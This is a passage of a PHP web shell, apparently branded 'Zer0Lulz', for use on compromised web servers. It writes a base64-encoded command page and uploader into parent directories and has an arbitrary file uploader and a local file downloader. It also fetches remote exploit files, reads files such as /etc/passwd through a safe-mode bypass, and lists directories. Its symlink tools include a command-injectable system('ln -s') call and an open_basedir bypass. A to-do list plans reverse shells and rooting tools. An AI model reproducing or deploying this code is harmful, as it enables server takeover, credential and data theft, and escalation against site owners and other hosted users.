b3JtPgogICAgICAgICAg?ICAgPC9kaXY+CgkJCSA8YnI+CgkJCSA8YnI+CiAgICAgICAgICAgICA8Y2VudGVyPjxkaXYgaWQ9ImZv?b3RlciI+PGEgaHJlZj0iaHR0cDovL3QwLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NSeFhv?WmZHc2lOWUh5MGp2X1pkTjRwUDBubkgyc3lyTV9rNGpiRDF4MEViNGo4WDhiR0dRIiB0YXJnZXQ9Il9i?bGFuayI+WmVyMEx1bHogVXBsb2FkZXI8L2E+PC9kaXY+PC9jZW50ZXI+CiAgICAgICAgIDwvZGl2PgoJ?CSAKPD9waHAKICAgIH0KCiAgICBmdW5jdGlvbiB1cGxvYWRGaWxlKCl7CiAgICAgICAgaWYgKCFpc3Nl?dCgkX1BPU1RbJ3N1Ym1pdEJ0biddKSl7CiAgICAgICAgICAgICR0aGlzLT5zaG93VXBsb2FkRm9ybSgp?OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAnJzsKICAgICAgICAgICAgJGVycm9y?ID0gJyc7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0aGlzLT51cGxv?YWRMb2NhdGlvbikpewogICAgICAgICAgICAgICAgJGVycm9yID0gIlVwbG9hZCBsb2NhdGlvbiBkb2Vz?bnQgYXBwZWFyIHRvIGV4aXN0PyBUcnkgYW5vdGhlciByb3V0ZS4uLiI7CiAgICAgICAgICAgIH0gZWxz?ZSBpZiAoIWlzX3dyaXRlYWJsZSgkdGhpcy0+dXBsb2FkTG9jYXRpb24pKSB7CiAgICAgICAgICAgICAg?ICAkZXJyb3IgPSAiVGhpcyBkaXIgYWludCB3cml0YWJsZSBmb29sISBMb29rIGZvciBzb21ld2hlcmUg?ZWxzZS4uLiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGFyZ2V0X3BhdGgg?PSAkdGhpcy0+dXBsb2FkTG9jYXRpb24gLiBiYXNlbmFtZSggJF9GSUxFU1snbXlmaWxlJ11bJ25hbWUn?XSk7CgogICAgICAgICAgICAgICAgaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydteWZpbGUn?XVsndG1wX25hbWUnXSwgJHRhcmdldF9wYXRoKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgPSBi?YXNlbmFtZSggJF9GSUxFU1snbXlmaWxlJ11bJ25hbWUnXSkuCiAgICAgICAgICAgICAgICAgICAgIiB3?YXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5Li4uR2V0IHlvdXIgTHVseiBvbiEiOwogICAgICAgICAgICAg?ICAgfSBlbHNlewogICAgICAgICAgICAgICAgICAgICRlcnJvciA9ICJFcnJvciA6KCI7CiAgICAgICAg?ICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICR0aGlzLT5zaG93VXBsb2FkRm9ybSgk?bXNnLCRlcnJvcik7CiAgICAgICAgfQoKICAgIH0KCn0KPz4KPC9ib2R5PiA=";
581
582//handle user input on choice of file to write and write accordingly (options outlined above)
583if(isset($_POST['htmeth']) && $_POST['htmeth'] == '5')
584{
585 $workingdir = getcwd();
586 $prepdir = explode($slash, $workingdir, -1);
587 $wdir = implode($slash, $prepdir);
588 $belowdir = $wdir . $slash . "lulz.php";
589
590 $F1=fopen($belowdir,"w");
591 fwrite($F1,base64_decode($fopt1),strlen(base64_decode($fopt1)));
592 fclose($F1);
593
594 //tell them to check manually to confirm it was created, maybe in future will automate this step...
595 echo "<center><b><font color='red'>Check manually to confirm command page was created successfully at " . $belowdir . "<font color='green'>?cmd=<font olor='blue'>InsertCommandHere</font></font></b></font></center><br />";
596}
597if(isset($_POST['htmeth']) && $_POST['htmeth'] == '6')
598{
599 $workingdir = getcwd();
600 $prepdir = explode($slash, $workingdir, -1);
601 $wdir = implode($slash, $prepdir);
602 $belowdir = $wdir . $slash . "doalpu.php";
603
604 $F2=fopen($belowdir,"w");
605 fwrite($F2,base64_decode($fopt2),strlen(base64_decode($fopt2)));
606 fclose($F2);
607
608 //tell them to check manually to confirm it was created, maybe in future will automate this step...
609 echo "<center><b><font color='red'>Check manually to confirm uploader was created successfully <font color='green'>" . $belowdir . "</font></b></font></center><br />";
610}
611echo "</td></tr></table>";
612//End FILE WRITER tool
613
614
615
616
617//START UPLOADER?DOWNLOADER TOOLS SECTION
618echo "<table width='100%' border='1'>";
619echo "<th colspan='2'><center><font color='red'><b> UPLOADER & DOWNLOADER TOOLS </b></font></center></th>";
620echo "<tr>";
621echo "<td width='50%'><center>";
622//Start Uploader Tool
623echo "<a name='uploader'></a>";
624 $myUpload = new maxUpload();
625 //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
626 $myUpload->uploadFile();
627
628class maxUpload{
629
630 var $uploadLocation;
631
632
633 function maxUpload(){
634 $this->uploadLocation = getcwd().DIRECTORY_SEPARATOR;
635 }
636 function setUploadLocation($dir){
637 $this->uploadLocation = $dir;
638 }
639 function showUploadForm($msg='',$error=''){
640
641if ($msg != ''){
642 echo "<p class='msg'><b><center><font color='red'>" . $msg . "</b></font><center></p>";
643} else if ($error != ''){
644 echo "<p class='emsg'><b><center><font color='red'>" . $error . "</b></form></center></p>";
645
646}
647echo "<center><b><font color='red'> FILE UPLOADER </font></b></center><br />";
648echo "<form action='".$_SERVER['PHP_SELF']."' method='post' enctype='multipart/form-data'>";
649echo "<center><label><b><font color='red'>File: </font></b><input name='myfile' type='file' size='30' /></label>";
650echo "<label><input type='submit' name='submitBtn' class='sbtn' value='Upload That Shit!' /></label></center></form>";
651}
652 function uploadFile(){
653 if (!isset($_POST['submitBtn'])){
654 $this->showUploadForm();
655 } else {
656 $msg = "<center><font color='red'><b>" . '' . "</b></font></center>";
657 $error = "<center><font color='red'><b>" . '' . "</b></font></center>";
658 //Check destination directory
659 if (!file_exists($this->uploadLocation)){
660 $error = "<center><font color='red'> The target directory doesn't seem to exist?</font></b></center>";
661 } else if (!is_writeable($this->uploadLocation)) {
662 $error = "<center><font color='red'> Epic Failure! This directory is not writable....maybe try the File Writer tool?</font></b></center>";
663 } else {
664 $target_path = $this->uploadLocation . basename( $_FILES['myfile']['name']);
665
666 if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
667 $msg = "<font color='blue'><b>" . basename( $_FILES['myfile']['name']) . "</font></b><center><font color='green'> was uploaded successfully - now go own this bitch!</font></b></center>";
668 } else{
669 $error = "<center><font color='red'>The upload process failed!</font></b></center>";
670 }
671 }
672 $this->showUploadForm($msg,$error);
673 }
674 }
675}
676echo "</td></center>";
677//END UPLOADER TOOL
678
679echo "<td width='50%'><center>";
680
681//LOCAL FILE DOWNLOADER
682//build form for user to provide path to file they want to download
683echo "<center><b><font color='red'> LOCAL FILE DOWNLOADER </font></b></center><br />";
684echo "<center><form action='$self' method='get'>";
685echo "<font color='red'><b> Enter Full Path of File to Download: </b></font><input type='text' name='local_download'>";
686echo "<input type='submit' value='Download Local File'><br /><br />";
687echo "<b><sub><font color='grey'> Insert the full path to file you want to download, for example: /home/user1/public_html/inc/config.php </font></sub></b><br />";
688echo "</form></center>";
689
690//handle form info when sent
691if(isset($_GET['local_download']))
692{
693//$path = $_SERVER['DOCUMENT_ROOT']."/path2file/"; // change the path to fit your websites document structure (not needed since we built form which passes full path and file to us :)
694$fullPath = $_GET['local_download'];
695
696if ($fd = fopen ($fullPath, "r")) {
697 $fsize = filesize($fullPath);
698 $path_parts = pathinfo($fullPath);
699 $ext = strtolower($path_parts["extension"]);
700 switch ($ext) {
701 case "pdf":
702 header("Content-type: application/pdf");
703 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
704 break;
705 case "php":
706 header("Content-type: text/plain");
707 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
708 break;
709 case "pdf":
710 header("Content-type: application/pdf");
711 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
712 break;
713 case "txt":
714 header("Content-type: text/plain");
715 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
716 break;
717 case "html":
718 header("Content-type: text/html");
719 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
720 break;
721 case "htm":
722 header("Content-type: text/html");
723 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
724 break;
725 case "exe":
726 header("Content-type: application/octet-stream");
727 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
728 break;
729 case "zip":
730 header("Content-type: application/zip");
731 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
732 break;
733 case "doc":
734 header("Content-type: application/msword");
735 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
736 break;
737 case "xls":
738 header("Content-type: application/vnd.ms-excel");
739 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
740 break;
741 case "ppt":
742 header("Content-type: application/vnd.ms-powerpoint");
743 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
744 break;
745 case "gif":
746 header("Content-type: image/gif");
747 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
748 break;
749 case "png":
750 header("Content-type: image/png");
751 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
752 break;
753 case "jpeg":
754 header("Content-type: image/jpg");
755 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\"");
756 break;
757 case "jpg":
758 header("Content-type: image/jpg"); // add here more headers for diff. extensions
759 header("Content-Disposition: attachment; filename=\"".$path_parts["basename"]."\""); // use 'attachment' to force a download
760 break;
761 default;
762 header("Content-type: application/octet-stream");
763 header("Content-Disposition: filename=\"".$path_parts["basename"]."\"");
764 }
765 header("Content-length: $fsize");
766 header("Cache-control: private"); //use this to open files directly
767 while(!feof($fd)) {
768 $buffer = fread($fd, 2048);
769 echo $buffer;
770 }
771}
772fclose ($fd);
773exit;
774}
775echo "</td></center>";
776//END LOCAL FILE DOWLOADER
777
778
779
780//START REMOTE FILE DOWNLOADER TOOL
781echo "<tr><td colspan='2'><center><font color='red'><b> PHP REMOTE FILE DOWNLOADER </b></font></center></td></tr>";
782echo "<tr>";
783echo "<td colspan='2'><center><br />";
784//set local location to download file to = current_directory/remote-file.txt
785$rf = getcwd() . $slash . "remote-file";
786// set local file name above and build form for user to provide remote file location of file to download...
787echo "<form action='$self' method='post'>";
788echo "<b><font color='red'>Remote File URL Location: </font></b><input type='text' name='remote_loc' size='81' maxlength=500><br />";
789echo "<input type='submit' value='Get Remote File!'>";
790echo "</form>";
791echo "<b><sub><font color='grey'> i.e. http://www.site.com/exploits/file.c </font></sub></b><br>";
792echo "<b><sub><font color='grey'> This is working well for pre-compiled and text based files, but not so great for binary files... </font></sub></b><br /><br />";
793//Function we need to get the actual remote file
794function remote_get($link,$file)
795{
796 //open remote location to read remote file from link and then write to location provided (use while to aovid issues with file size exceeding max allowed per request of 1024)
797 $fp = @fopen($link,"r");
798 while(!feof($fp))
799 {
800 $cont.= fread($fp,1024);
801 }
802 fclose($fp);
803
804 $fp2 = @fopen($file,"w");
805 fwrite($fp2,$cont);
806 fclose($fp2);
807}
808//we handle the form details and use our function above to get file and write to location
809if (isset($_POST['remote_loc']))
810{
811remote_get($_POST['remote_loc'],$rf);
812alert("Check current_directory/remote-file for your remote file");
813}
814echo "</center></td></tr>";
815//END REMOTE FILE DOWNLOAD TOOL
816echo "</tr></table>";
817//END UPLOADER/DOWNLOADER TOOLS SECTION
818
819
820
821//START BYPASS TOOLS
822echo "<a name='sfbypass_tools'></a>";
823//PHP Safe Mode Bypass (get directory listing and read files)
824//borrowed from locus shell, thanks
825//build table, split in hald and place directory listing on one side and read file on the other so it flows in order of usual business
826//build main table
827echo "<table width='100%' border='1'>";
828echo "<th colspan='2'><center><b><font color='red'> SAFE MODE BYPASS TOOLS </font></b></center></th>";
829
830//start one row and place everything in there so it sits evenly
831echo "<tr>";
832
833//Safe Mode BYpass Directory Listing Tool...Use File Reader Tool after this for knock out 1-2 punch :p
834//start table entry and set width to 50% so we can share with reader tool and look pretty :p
835echo "<td width='50%'><center><font color='red'><b> Safe-Mode Bypass Directory Lister </b></font></center><br />";
836//build form for user input to get desired path to list content of
837echo "<center><form action='$self' method='get'>";
838echo "<font color='red'><b>Directory to List: </b></font><input type='text' name='directory'>";
839echo "<input type='submit' value='List It!'><br /><br />";
840echo "<b><sub><font color='grey'> Insert the path to directory you want listing of, for example: /etc/ or /home/ </font></sub></b><br />";
841echo "</form></center></td>";
842
843//handle form data being sent from all of the above, which basically activates our funciton and reads out the directoy content for user desired location
844if(isset($_GET['directory']))
845{
846//build a function to use for directory listing
847function bypass_dirlist()
848{
849$bypassdir=$_GET['directory'];
850//set bypassdir_files equal to anything returned by our glob() request to the request of user porvided input
851$bypassdir_files = glob("$bypassdir*");
852//status update and then display results
853echo "<center><font color='red'><b>Direcotry listing of </font><font color='blue'>$bypassdir</font><br />";
854foreach ($bypassdir_files as $filename)
855{
856 echo "<center><font color='green'> $filename\n </font></center>";
857}
858}
859//list directory content using funciton we built
860bypass_dirlist();
861}
862
863//Safe Mode BYpass File Reader
864// set width to 50% so they share nicely and look pretty :p
865echo "<td width='50%'><center><font color='red'><b>Safe-Mode Bypass File Reader</b></font</center><br />";
866//build form for taking user input which we will use to build command to read based on input provided...
867echo "<form action='$self' method='get'>";
868echo "<font color='red'><b>File to Read: </b></font><input type='text' name='bypassfile'>";
869echo "<input type='submit' value='Bypass & Read File'><br /><br />";
870echo "<b><sub><font color='grey'> Insert the full path to file you want to read, for example: /etc/passwd </font></sub></b><br /></td>";
871
872//build function for reading
873function bypass_read()
874{
875//set $test to null before using to keep it clean and avoid issues allowing us to create files in current directory which will be used to read our desired file...
876$test="";
877//We use tempnam() to create file with unique name in our current directory (unless changed above), our new file will be named HR
878$temp=tempnam($test, "HR");
879//set the user provided file (with full path) to variable so we can re-use
880$bypassfile=$_GET['bypassfile'];
881//sanitize our user provided input before use...
882$bypassf=htmlspecialchars($bypassfile);
883//quick status update...
884echo "<br /><center><font color='red'><b>Getting file.</b>..</font><font color='blue'><b>$bypassf</b></center></font><br />";
885//if we check to see if we can copy our needed file to our temp directory
886//if we can we write our to our file HR
887if(@copy("compress.zlib://".$bypassfile, $temp))
888{
889//open for reading our HR file
890$bypassf1 = fopen($temp, "r");
891//read our HR file
892$action = fread($bypassf1, filesize($temp));
893//close our file
894fclose($bypassf1);
895//we place our read content in variable and then display it back for user to see :)
896$source=htmlspecialchars($action);
897echo "<center><b><font color='red'>Start </font><font color='blue'>$bypassf </font></b><br /><font color='green'><b> $source </b></font><br /><b><font color='red'>Finish </font><font color='blue'>$bypassf</font></b><br /><br /></center>";
898unlink($temp);
899
900//If we cant copy to read then we either cant access it or it simply doesnt exist :(
901} else {
902die("<center><font color='red'><b>Epic Failure! File </font><font color='blue'>" . htmlspecialchars($bypassfile) . "</font><font color='red'> dosen't exists or you don't have access...</font></center> <br />");
903}
904}
905//end function
906
907//Now we handle the actual content from our user provided input based on the form we built originally above
908//if our parameter "bypassfile" is set by form being sent then read/display the content of file using the function we built above - bypass_read()
909if(isset($_GET['bypassfile']))
910{
911bypass_read();
912}
913//End Safe Mode Bypass File Reader Tool
914echo "</tr></table>";
915echo "<br /><hr/>";
916//End BYPASS TOOLS
917
918
919
920
921
922//Now we lay out the form for setting up a PHP based Symlink
923echo "<center><a name='symlink'><b><font color='red'>PHP BASED SYMLINK TOOL</font></a></b>";
924echo "<br />";
925echo "<br />";
926echo "<b><font color='red'>Please enter your path details to create our new symlink below:</font><b><br />";
927echo "<br />";
928echo "<form action='$self' method='post'>";
929echo "<b><font color='red'>Target Path: </font></b> <input type='text' name='target'/> <br />";
930echo "<sub><font color='grey'>i.e. where you want to go WITH trailing '/': /home/TargetUserName/public_html/</font></sub><br />";
931echo "<br />";
932echo "<b><font color='red'>Control Path: </font></b> <input type='text' name='controlled' /> <br />";
933echo "<sub><font color='grey'>i.e. point to folder you control or copy and paste below WITHOUT trailing '/'...<br />";
934echo "Your currently sitting at: <font color='#686868 '>" . getcwd() . "</font></font></sub><br />";
935echo "<br />";
936echo "<input type='submit' value='Link That Shit!'/>";
937echo "</form>";
938echo "</center><br />";
939
940//handle symlink form data as provided by user to execute a symlink command using PHP built in function symlink()
941//fix this section...
942if(isset($_POST['target']) && isset($_POST['controlled']))
943{
944 $symname = 'sym-test';
945 $trgt = $_POST['target'];
946 echo "<center><b>Your Target Path was: <font color='red'>" . $_POST["target"] . "</font></b></center>";
947 $cntrl = $_POST['controlled'];
948 echo "<center><b>Your Controlled Path is: <font color='red'>" . $_POST["controlled"] . "</font></b></center><br />";
949 $lnk = $cntrl . $slash . $symname;
950 @unlink($cntrl);
951 symlink($trgt,$lnk);
952 echo "<b><font color='red'>Your new symlink should have been created at: </font><font color='green'>" . getcwd() . $lnk . "</b></font><br />";
953 @unlink($cntrl);
954 echo "<br />";
955}
956//end of this tool
957//
958
959
960
961
962//Now we lay out the form for a OS based symlink (only works with *nix based systems)
963echo "<hr />";
964echo "<br />";
965echo "<center><b><font color='red'>*NIX OS SYMLINKER</font></b>";
966echo "<br />";
967echo "<br />";
968echo "<b><font color='red'>Please enter your path details to create our new OS based symlink below:</font><b><br />";
969echo "<font color='grey'><b>NOTE:</b> This relies on the use of the system() command to wrap the OS commands. If this is disabled you need to do this manually above, sorry</font><br />";
970echo "<br />";
971echo "<form action='$self' method='post'>";
972echo "<b><font color='red'>Target Path: </font></b> <input type='text' name='ostrgt'/> <br />";
973echo "<sub><font color='grey'>i.e. where you want to go WITH trailing '/': /home/TargetUserName/public_html/</font></sub><br />";
974echo "<br />";
975echo "<b><font color='red'>Control Path: </font></b> <input type='text' name='oscntrl' /> <br />";
976echo "<sub><font color='grey'>i.e. point to folder you control or copy and paste below WITHOUT trailing '/'...<br /><br />";
977echo "Your currently sitting at: <font color='#686868 '>" . getcwd() . "</font></font></sub><br />";
978echo "<br />";
979echo "<input type='submit' value='Creat OS Based Symlink!'/>";
980echo "</form>";
981echo "<font color='grey'><b>NOTE:</b> Please make sure you put the trailing slash into your path entries for folder links so <b>/var/www/user<font color='red'>/</font></b>' and <b>NOT</b> /var/www/user</font>";
982
983
984//handle symlink form data as provided by user to execute a symlink command using PHP built in function symlink()
985//fix this section...
986if(isset($_POST['ostrgt']) && isset($_POST['oscntrl']))
987{
988 $OSsymname = 'OSsymtest';
989 $OStrgt = $_POST['ostrgt'];
990 echo "<center><b>Your Target Path was: <font color='red'>" . $_POST["ostrgt"] . "</font></b></center>";
991 $OScntrl = $_POST['oscntrl'];
992 echo "<center><b>Your Controlled Path is: <font color='red'>" . $_POST["oscntrl"] . "</font></b></center><br />";
993
994 $OSlnk = $OScntrl . $slash . $OSsymname;
995 $symprefix = 'ln -s ' . $OStrgt;
996 $symlinkOS = $symprefix . " " . $OSlnk;
997
998 system($symlinkOS);
999
1000 echo "<b><font color='red'>Your new OS based symlink should have been created at: </font><font color='green'>" . getcwd() . $slash . $OSsymname . "</b></font><br />";
1001 echo "<br />";
1002}
1003
1004echo "</center><br />";
1005//end of tool
1006
1007
1008
1009echo "<br />";
1010echo "<hr />";
1011
1012//start next tool
1013//borrowed code since it works, no need to re-invent the wheel. Credits to original creator who ever that may be...
1014echo "<center><b><font color='red'>PHP OPEN_BASEDIR BYPASS SYMLINKER</font></b>";
1015echo "<br />";
1016echo "<br />";
1017//set fake directory name and depth to create (16 is magic number for this exploit)
1018$fakedir="lulz";
1019$fakedep=16;
1020$num=0; // offset of symlink.$num
1021//set value of $file to that of the FORM request from the form below it or if blank or unset then set value to null ("") to avoid issues
1022if(!empty($_GET['file'])) $file=$_GET['file'];
1023else if(!empty($_POST['file'])) $file=$_POST['file'];
1024else $file="";
1025
1026//Now build our form for user to supply link they want to symlink to which will fill the value of $file based on above if statement
1027echo "<font color='grey'><b>Please enter the path to Symlink to below...</b></font>";
1028echo "<form action='$self' method='post'>";
1029echo "<input type='text' name='file' size='50'>";
1030echo "<input type='submit' value='Bypass & Link That Shit!'></form>";
1031//i ffile is empty or unset then exit and dont do anything
1032if(empty($file))
1033 exit;
1034// if directory is not writable this wont work as we need to create directories and files so move your shell to a writable path so this will work (since this runs from page location of shell
1035if(!is_writable("."))
1036 die("This is not a writable directory fool");
1037// set directory level , then increment as we create directories, then check for their existence, then change to the new directory
1038$level=0;
1039for($as=0;$as<$fakedep;$as++){
1040 if(!file_exists($fakedir))
1041 mkdir($fakedir);
1042 chdir($fakedir);
1043}
1044while(1<$as--) chdir("..");
1045$hardstyle = explode("/", $file);
1046for($a=0;$a<count($hardstyle);$a++){
1047 if(!empty($hardstyle[$a])){
1048 if(!file_exists($hardstyle[$a]))
1049 mkdir($hardstyle[$a]);
1050 chdir($hardstyle[$a]);
1051 $as++;
1052 }
1053}
1054$as++;
1055while($as--)
1056 chdir("..");
1057//once setup above is done creating a very deep folder path (16 deep to be exact) we will create our folder Zer0 and symlink to file location provided by user input
1058@rmdir("Zer0");
1059@unlink("Zer0");
1060@symlink(str_repeat($fakedir."/",$fakedep),"Zer0");
1061// this loop will make sure we dont create symlinks over existing links, this will make ti so if you create more than 1 link you get symlink, symlink1, symlink2.
1062while(1)
1063 if(true==(@symlink("Zer0/".str_repeat("../",$fakedep-1).$file,
1064"symlink".$num))) break;
1065 else $num++;
1066@unlink("Zer0");
1067mkdir("Zer0");
1068die('<FONT COLOR="RED">Your new Symlink should be found at: <a href="./symlink' .$num. '"> symlink' . $num . '</a> file</FONT>');
1069echo "</center>";
1070//end of tool
1071//end symlink section
1072
1073
1074/*
1075NOTES SECTION:
1076......
1077TO-DO LIST:
1078Add in Command Options drop down menu which is tied to preset commands to run
1079 Create list of basic enumeration steps on Linux and Windows, make if statement to offer them up based on OS details
1080Add in SQL Connection Manager instead of current ITSec stand-in
1081Add in Back Connect and Bind Options
1082Add in method for hex dump of executable and writing to target thus creating binary and then executing said binary (allow creation of netcat on Windows targets since most back connect options fail on windows)
1083Add in sessions to fix command passthru to be more stable and allow directory changes
1084Add in file system GUI based access, like big name shells
1085Add in Rooting functions or downloads for top 10
1086
1087add:
1088available drives to system info up top (last?)
1089add sql connector script && separat SQL dump script
1090add converter/encrypter tool for: MD5, SHA1, Base64 encode & decode
1091drop down menu to load back connect options
1092drop down menu to execute preset commands for windows
1093drop down menu to execute preset commands for linux
1094add tool to find writable directory from user provided starting path (or maybe root path of user current working directory)
1095add an about page for team greetz and shoutouts :)
1096...
1097*/
1098
1099//EOF
1100?>